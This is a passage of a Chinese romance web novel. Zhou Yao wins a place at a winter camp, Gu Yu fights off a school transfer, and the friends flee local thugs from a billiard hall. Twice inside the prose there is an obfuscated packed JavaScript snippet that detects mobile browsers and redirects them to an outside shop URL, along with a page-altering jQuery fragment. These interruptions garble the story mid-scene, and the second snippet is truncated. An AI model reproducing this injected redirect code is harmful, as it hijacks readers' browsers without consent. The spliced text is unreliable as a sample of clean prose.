但是,现在他要离开了。 回想起刚开学那会,自己拼命希望他离开自己的视线,这才过了多久,就舍不得了。 啧。 周窈抵在门上,有些烦躁地咒骂了一句:狐狸精。 …… 和周窈分开后,顾彧独自回了家,然后坐在客厅的沙发上,捏着手机发呆。 他当然知道周窈在强装,每次她只要尴尬、不自在,手就会下意识地找东西抠,刚刚他掌心都被她无意识地抠了几下,现在还有几个淡淡的指甲印。 想了一会,顾彧突然意识到自己可能还有最后一次机会,于是果断打开微信,点开了一个对话框——他和这位近半年都没有说过一句话,上一次的聊天记录还是暑假,给他转发了一条“注意!这样做容易影响孩子的智商!转到家庭群,你会拥有一个聪明的宝宝!”。 深吸一口气,他将消息发了出去。 【顾彧:爸,妈妈让我下学期转学去海市,但是我不想去。】 过了大约半个多小时,他才收到回复。 【顾明诚:谈恋爱了?】 顾彧不明白自家老爸是怎么从他这一条文字消息里提炼出这个信息的,但他也只能硬着头皮继续回复—— 【顾彧:就是不想去一个陌生环境,而且我也不准备报考海市的大学。】 【顾明诚:那就是早恋了。对方和你是一个班的?注意不要被班主任和你妈发现了。】 顾彧只觉得莫名其妙,明明他和周窈到现在都还没在一起,偏偏全世界都认定了他们俩早恋,于是他干脆破罐子破摔。 【顾彧:妈妈已经知道了,是周窈。】 【顾明诚:你是为了报答救命之恩以身相许?】 【顾彧:不是!!![愤怒]】 这就是顾彧不愿意和他爸交流的原因,这人明明是搞科研的,但意外的不着调。 【顾明诚:[得意]我元旦回家,你妈交给我,保管你放心谈恋爱![得意](此处应有红包)】 顾彧长叹一口气。 【顾彧:[红包]】 【顾彧:谢谢爸,八块八,买瓶脑白金吧。】 71. 成绩公布 顾明诚的话,意味着元旦顾彧必须去一趟海市。他跟周窈说这件事的时候,GA小分队正凑在一起商量元旦要怎么过。 “我哥一朋友开了一间台球厅,去不去玩?” “台球啊……会不会有很多小混混啊?” “放心吧,人家小混混也不稀得跟你们高中生玩。” “屁咧,你忘了陈骏啦?” 陈骏,好遥远的名字,那个为了朱鑫纬找顾彧约架却被顾彧一个电话告到史芬那去的倒霉小混混。 “诶诶诶,我倒是听说,陈骏靠着脑子开瓢,给自己换了个更厉害的大哥。” “什么大哥?” “那我怎么知道,反正听着还挺厉害的,地头蛇那种,上次十三班那个小胖在路上遇见他,说是风光得不得了,人家现在都有车开了!” “他成年了吗就开车。” “倒是成年了,他比咱们都大两岁,忘啦,人家留过级。” 说了半天八卦,蒋煜敲了敲桌面:“怎么还聊上了,到底去不去啊?” 这次顾彧没等周窈,率先回道:“我要去海市,去不了台球厅了。” 蒋煜乍一听有些惊讶,学期都快结束了,这还是他头一次听说顾彧要去海市,毕竟中秋、国庆,他可都没回去。不过转念一想倒也合理,毕竟人家爸妈都在那呢,新年一家团圆无可厚非,不然怎么看着都像是留守儿童,怪可怜的。 于是他又推了下周窈:“顾神不在,阿周你去不去啊?” 周窈想了想,拿不定主意,她原本打算是要去医院给陈娟帮忙的。 边上代薇子突然想起来:“你冬令营考试结果什么时候出?” “周五。” “那不就是放假前一天?” 周窈点了点头:“嗯,史老师说如果入选了会告诉我。” 蒋煜瞬间来了兴致:“那要不我们周五晚上出去嗨皮吧!这样如果阿周考上了,就当庆功,如果没考上,就当安慰。” 顾彧率先同意,他是周六一早的车,周五玩得晚一点也不妨碍,但周窈却没立即答应,最近因为周建民的事,她总是心里有些发慌,恨不能二十四小时盯着陈娟。 正想婉拒,却突然收到陈娟发来的短信,说是她这几天她接的24小时看护,都不回家了。 周窈看着手机,眉头皱紧。 “怎么了?”顾彧轻轻勾了下她的小手指。 “没什么,我妈说她最近几天不回来……” 边上蒋煜听了,大喊:“那不是刚好!这样我们周五就能嗨到天亮!” “得了吧。”代薇子拍了他一掌:“上次说好通宵唱歌,十一点半你就睡着了,一直睡到第二天到点了要退房了,叫都叫不醒。” 蒋煜讪讪:“我那是因为前一天晚上通宵打游戏了……” 几人插科打诨中,周窈依旧皱着眉头。 顾彧挠了挠她的掌心:“放松点,你妈只是去上班,又不是离家出走,她以前不也这样经常连轴转吗?” 说起来,倒也确实是这样。 或许是自己真的太过敏感了,就算那天晚上陈娟真的听到她和顾彧打电话的内容,宁市这么大,她也不一定能找得到周建民啊。 周窈这样自我安慰着,眉头渐渐松开,但随即又有一个新问题。她侧身望向顾彧:“你说我能考上冬令营吗?这次参与入营考试的,起码有好几百人,各个学校的都有……” “一定能考上的。”顾彧安慰她:“就算考不上,我来给你当私教,每天晚上视频两小时,保证比那个陈敏学强。” 周窈笑他:“人家是特级教师,你是啥?” 顾彧眉毛一挑:“我是校草,每晚和校草视频两小时还不能满足你?” 周窈被他撩得猝不及防,扭过头去不理他。不过在他的安慰下,周窈好歹算是笑了出来。 时间转眼就到了周五。 眼看着就要公布成绩,周窈紧张得一晚上没睡,哪怕顾彧在睡前给她打了个长达一个小时的电话试图分散她的注意力也没能成功。 她太渴望入营了。 这不仅仅是她这阶段学习的反馈,更多的是一种信号,告诉她人生会好起来的。 顶着两个大黑眼圈,周窈有些迷迷瞪瞪的出门,刚打开门就看见陈娟上楼来。 她有些意外:“妈你怎么这个时间回来了?” 陈娟垂着头,一副累极了的样子:“老爷子凌晨的时候没抢救过来,已经拉去殡仪馆了,我就赶紧回来歇一觉。” 周窈不疑有他,“哦”了一声之后就想下楼去上学。一楼铁门的门缝里,隐约看到顾彧已经在楼外面等她了。 刚下了几阶台阶,就听陈娟在后面喊她。 “你今天,是不是那个什么冬令营要出成绩啊?” 周窈这才想起来晚上答应了蒋煜他们要出去玩,赶紧跟陈娟报备:“是今天出成绩,晚上我要跟同学们一起出去,会晚点回来……尽量九点之前吧,你要是有事就给我打电话,我会把手机放口袋里,一定能听得到。” 原本周窈以为陈娟又要说她一顿,什么乱花钱,浪费时间,就知道玩之类的,但今天陈娟只是神色淡淡地“哦”了一声,然后拿出钥匙开门。 钥匙刚插进钥匙孔里,她再次叫住了周窈。 “等一下。” 周窈回头,就见陈娟掏出手机,划拉了两下,然后她感觉到自己口袋里的手机震了一下,拿出来一看,陈娟给她转了一万块钱。 这还是陈娟头一次这么主动给自己钱,还是一万块巨款!周窈活这么大都没见过这么多钱!她仔细地数了数,确实是四个零。 “妈……”周窈有些难以置信。 陈娟低头开门:“上次小彧妈妈给的,省得你说我贪你钱。你快走吧,我先睡觉去了,这老头,我还以为元旦能赚个加班费呢,没想到都没撑到新年就嘎了。哎,一天天的,累死了,你还不懂体谅父母……” 在陈娟低声的抱怨中,门“砰”得一声关上了。 周窈被关门声震得怔了一下,看着手机屏幕上那个一万块的转账记录,一时有些回不过神来。 今天这是,太阳打西边出来了?还是财神爷显灵了? 门外顾彧等得有些久了,看她一直没下楼,便过来敲了敲一楼的铁门。 “怎么了?还不走?要来不及了。” 周窈匆忙回神,将手机塞回口袋:“来了来了,跟我妈说话呢。” 顾彧刚才在楼下和陈娟刚好打了个照面,皱着眉头回忆:“你妈看起来脸色不太好。” “嗯。”其实陈娟脸色不好也有一段时间了,周窈偷偷上网查过,说是肝不好,所以她又买了瓶护肝片,也不知道陈娟有没有按时吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13793066|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可能还是太累了吧,她工作经常要熬夜,三餐、睡眠都不规律,我想放假了如果手里还有余钱,就带她去做个体检。”现在确实有钱了,这个计划也能提上日程了。 顾彧将这事记了下来:“晚点我问问我妈,没准能内部打个折。”他记得那天一起吃饭的那么多他妈妈的老同事里,有一个叔叔就是在体检中心的。 “好呀,那你别忘了。” “放心,忘不了。” 成绩揭晓之前,每一分钟都十分难熬,周窈强迫自己将注意力放在课堂上,但眼神总不自觉地就瞟向了对面楼下的教师办公室,每次看见史芬进出都不由得紧张一阵。 率先找上门来的是一班的曹阔,大课间的时候他特地跑过来恭喜周窈,看着周窈一头雾水,曹阔还有些意外,但很快反应过来。 “我们班主任是负责人,可能她知道消息更快一些。这次冬令营总共招收一百五十人,你是第139名。” “真的吗?!”周窈捂着嘴,不敢相信她听到的消息,激动得连手都在颤抖。 “真的。”曹阔笑着:“名单在我们班主任那,她刚刚回办公室了,你可以直接去找她看……” 话没说完,周窈就冲出了教室。顾彧看着她的背影飞快地消失在楼梯口,有些无奈地笑了下。 还留在原地的曹阔看了他一眼,意有所指地说道:“冬令营我要和周窈一起相处两周哦。” 顾彧抬眼,漫不经心地朝他一瞥:“你不知道我就住在她家隔壁?” 曹阔无所谓地耸了耸肩:“既然是隔壁,那多少还隔着堵墙吧。” 顾彧反击:“怎么,难道冬令营男女混住?”说罢,他转了转笔,低头继续做题,仿佛没将对方放在眼里。 半晌,就见曹阔微微俯下身,凑近顾彧,求证似的问道:“听说,你下学期要转学去海市?是真的吗?” 气氛瞬间凝结。 顾彧抬头,眼神算不上友好:“我不会去的。” 曹阔无所谓地笑了笑:“其实你去了也没事,我可以和周窈一起学习,共同进步,而且按照她现在的进步速度,等到高三,没准也能考进一班。”说完,他丁点时间也没留给顾彧,转身就走。 他离开后,顾彧关上窗,低头继续做题,可笔尖却点在草稿纸上半天没挪动,任由墨水渐渐洇开。 边上,代薇子她们几个女生也在议论曹阔。 “他又来找周窈啊?” “你没听他说么,他也考进冬令营了。” “其实曹阔真的挺好的,性格好,长得顺眼,家庭条件也不错,成绩更是没话说,妥妥的六边形男友了。” “那顾彧不是更强?”边上有人小声说道。 “顾彧过于优越了,高攀不上……” 顾彧僵坐在座位上,手里紧紧捏着的笔将他的手指都勒得发白。 很难形容为什么他会对曹阔这样一个平时都不太会出现在他们周围的人产生这么大的戒备,或许是因为他深知曹阔的优秀,又或许他也知道,现实生活中,曹阔是百分之八九十女生愿意选择的男友,甚至是结婚人选。就如同代薇子她们所说,稳定且优秀,是曹阔最大的优点。 而且他看起来还很主动,懂得如何追求女生。 如果自己真的转去海市,不在周窈身边,她会对曹阔,甚至于别的什么人心动吗? 72. 心愿达成 走廊上,周窈一路狂奔来到办公室门口。 她定住脚步,喘匀了气,然后郑重地敲门。 史芬抬头看见她来,便向她招手:“等不及来问成绩了吧?” 周窈向前挪动着步子,心中既期待又忐忑,她生怕曹阔看错了,自己白高兴一场。 “刚刚一班的同学告诉我,成绩下来了,我,我考进了吗?” 史芬没有立即回答她,而是转头按了几下鼠标,然后示意她过来看。 “看,入营名单,你看看有没有你。” 周窈将名单拉到最下面,找到139名的位置,数字边上,赫然写着一行字——周窈(舟市第一中学)。 瞬间,像是有无数多烟花在她眼前绽开,连空气都变得甜蜜起来,周窈望着史芬,激动得甚至有些语无伦次。 “我,我是,考上了吗?” 史芬笑望着她:“名单还能造假?晚一点会发入营注意事项,还有报名费用,我会统一转发给你。费用大概三千多,包食宿,这个价格其实已经很便宜了,毕竟是名师教学。”说到这,她顿了一下,关切地问道:“钱够吗?不够我这先帮你垫上。” “够了够了。”周窈狠狠点头。“李铭轩妈妈说我教得好,给我发过两次红包,还有补课的费用,加起来够付入营费了。”而且她妈还刚给她转了一万块。 “那就好。”史芬松了口气:“但是你不可以轻重倒置,现在钱攒齐了,还是一切以学习为主,不要天天想着赚钱。” “我知道的,谢谢史老师。”周窈由衷感谢。 史芬颇为慈爱地拍了拍她:“快回去上课吧,也控制下情绪,别太高兴课都不听了。” “不会的,史老师再见。”说完,周窈几乎是像只雀跃的鸟一样“飞”出了教室。 史芬看着她一路跑远,脸上的笑意就没散过,没什么比看到自己学生克服困难取得进步更令人欣慰的了。 “还真叫她考上了。”边上一直隐在作业堆后面的数学章冷不丁来了一句。 史芬瞥了他一眼,说出来的话像是意有所指:“所以别小看任何一名学生,只要肯努力,就没有什么不能成的。” 周窈一路小跑回到班上,蒋煜他们等人早就在门边上候着了,见她回来忙拥上去问。 “怎么样啊?是不是考上啦?” 周窈抿唇,一脸笑意地点了点头。 “我就知道!阿周一定行的!” “好厉害啊,真就让你考上了!这什么励志文学啊!” 一时间,众人纷纷向周窈道贺,就连孔昊英都不太情愿地说了句“恭喜”,以至于周窈自己都有点蒙圈,不明白她什么时候人缘这么好了,刚刚的兴奋瞬间就因为疲于应付而有所消散,连笑容都变得有些敷衍。 混乱之中,她的视线和座位上的顾彧就这么不经意地撞到一起,后者托着下巴,眯着狐狸眼,笑意盈盈地望着她,随后竖起大拇指,用嘴型说了句“了不起”。 顷刻间,幸福感又回来了,满满当当地塞进了她整个胸膛。 周窈不受控制地向走廊外的天空望去,心中第一次感觉到希望满得要溢出来了,或许努力一下,她就真的可以飞出去了。 放学后,在蒋煜的带领下,GA一行人浩浩荡荡来到了台球厅。说是台球厅,其实也规模也不大,也就四五张台球桌,蒋煜仗着他哥的面子,要了靠窗边的那张——台球厅里那些男生大多抽烟,女生们闻不得烟味。 几人点了三份披萨当晚饭,周窈手里有了余钱,也高高兴兴地请大家喝了奶茶。 蒋煜欣喜:“老天爷,有朝一日还能喝到葛朗台·周请的奶茶……”转而,他又凑到顾彧身边:“顾神,你是不是该从现在开始就学起来怎么藏私房钱啊?” 顾彧毫不在意:“没关系,都是她的。” 蒋煜瞪大眼睛:“得了,又疯一个。” 女生们对打台球这项运动也就三分钟热度,轮流上场试了试之后,就干脆坐在一边聊八卦,从班级里谁和谁在一起了,聊到电视里正热播的电视剧。 周窈对这些事没太多兴趣,刚好史芬转了冬令营入营通知给她,她打开手机看了起来,在看到入营时间之后,她还有个大难题要攻克,那就是说服陈娟让她去参加冬令营。 因为在入营须知上,需要家长签字,毕竟学生们还未成年,又要离开家在冬令营待两周之久,提前通知家长明确责任也是正常操作。 可是万一陈娟不让她去,不给她签字怎么办? “砰,砰,砰。” 连续的撞球声突然响起。 “牛啊顾神,这一台你清了吧,李铭轩,陪我上厕所。” 李铭轩大骂:“神经啊你,上厕所还要人陪。”但即便这样说着,两人还是一前一后往洗手间方向走去。 周窈被这一连串响动吸引,抬头就见刚刚连进三球的顾彧正在给球杆上巧粉,他似乎对台球也不怎么热情,眼神甚至有些散漫,仿佛刚刚那几球都是意外。 上完巧粉,他拎着球杆绕着球桌走了半圈,似乎是在找角度,直到他注意到周窈的视线,便又直起身来,朝周窈抬了抬下巴。 “来试试吗?我教你。” 周窈心道一声这人又耍什么帅,但还是像被蛊惑一般,起身朝他走去,接过他手里的球杆。 木质球杆意外的优点沉,周窈摆弄了一会,甚至不知道该握在球杆的哪一端,两只手将球杆从头到尾搓了个遍。 顾彧低头轻笑:“周条条你钓鱼呢?” 周窈知道自己出了糗,但气势不输,有些凶巴巴道:“那你倒是教啊。” 话音刚落,一具泛着热气的身体就贴上了她的后背,把着她的手调整球杆的握法,随后伸手在她腰上一按,周窈就顺势弯下了腰去。 “用虎口固定球杆,找好角度。”顾彧微微侧开身,握住球杆的后端,随着周窈的动作稍一用力,球应声入袋。 周窈直起身,故作轻松:“也没有很难嘛。” 顾彧拂开她搭在肩上的发尾:“嗯,是周条条太聪明了,一教就会。” 边上默默看戏的代薇子忍不住出声:“喂喂喂,公共场合收敛点,这眼神都拉丝了。” 周窈脸一红,此地无银三百两似的推了下顾彧:“你走开,我自己打。” 顾彧佯装不悦:“周条条,你不是在追我吗?还怕人说?” 周窈一怔,立即想起一件事来,于是她撑着球杆,要顾彧兑现承诺:“我考上冬令营了,你说等我考上了就在一起的。” 顾彧打量着她,嘴角的笑意压都压不住:“你这个样子,不像是要在一起,而是要打我一顿。” 周窈低头看了一眼自己,一手叉腰一手提着球杆,确实,不怎么雅观…… 边上代薇子也适时起哄:“周窈,你们俩是要约架啊?” 顾彧笑着从她手里抽出球杆,狐狸眼注视着周窈,眼神深得像是一汪漂着桃花花瓣的池水。 “所以现在要在一起吗?第一天?” 灯光下的顾彧漂亮得不像话,像是从电视里走出来的人,浑身散发着瓷白的光芒。周窈突然就有些犹豫,她想给顾彧最好的,但眼下从场景到气氛,多少都显得有些潦草。 不管怎样,仪式感还是要有的。 想起新年过后没几天就是顾彧的生日,以及还躺在自己购物车里的那副飞行员墨镜,周窈下定了决心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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GA几人没出声,陈骏身后那些不知是小弟还是大哥的,倒是发出了几声嘲讽的笑声。 顾彧抬眼看了下时间,他们球桌订了两个小时,现在已经过去一个小时多了,于是他回头询问其他几人的意见:“走不走?” 女生们连忙点了点头,这种吓人的环境,多一秒都不愿意待了。 蒋煜心疼钱,但也深知这些地痞流氓的攻击性,便也决定先走。 顾彧看着陈骏:“这桌让给你们,我们先走了。”说完,给蒋煜使了个眼色,蒋煜瞬间领会,和李铭轩一前一后带着代薇子她们迅速向店外跑去。 顾彧拉着周窈也要走,突然被面前横着的球杆拦住了去路。 “着急走啊?顾校草不陪我们来一局?” 身后,周窈有些紧张地拽着顾彧的衣摆,顾彧反手握住她的手,朝陈骏和他身后的那些人看了一眼,都是些黄毛、白毛、粉毛的杀马特小混混,看起来十分潦草,估计杀伤力也就那样。 顾彧笑了笑,脚尖勾住边上的折凳。 “陪你们玩?你们也配?” “我艹你妈!”陈骏挥拳像顾彧扑来,却被顾彧踢过去的折凳直接绊倒。 “嘴巴放干净点!你要真见到我妈,那你就只能祈祷阎王爷别太快收你了。” 这么多人里,只有周窈听懂了这剧隐喻,差一点就笑出了声了,而没等她回神,顾彧就回头朝她喊了一句“走了”,然后拽着她的手一路狂奔出去。 身后,陈骏带人追了出来,顾彧跑得飞快,但一点都不慌,人家逃跑钻小路,他偏带着周窈往大路跑,生怕陈骏他们看不见似的。 比他们早下楼的蒋煜他们已然骑上了自行车,见这阵仗就要过来接人,顾彧朝他们挥挥手,示意他们先走,自己则带着周窈拐进了右边一条主干道,又往前跑了几步,终于停下。 身后陈骏带着人锲而不舍地追,却在看清了他们所处的位置后,不敢上前。 周窈疑惑地回头,就见自己身后的门牌上,写着一行大字——建国西路派出所。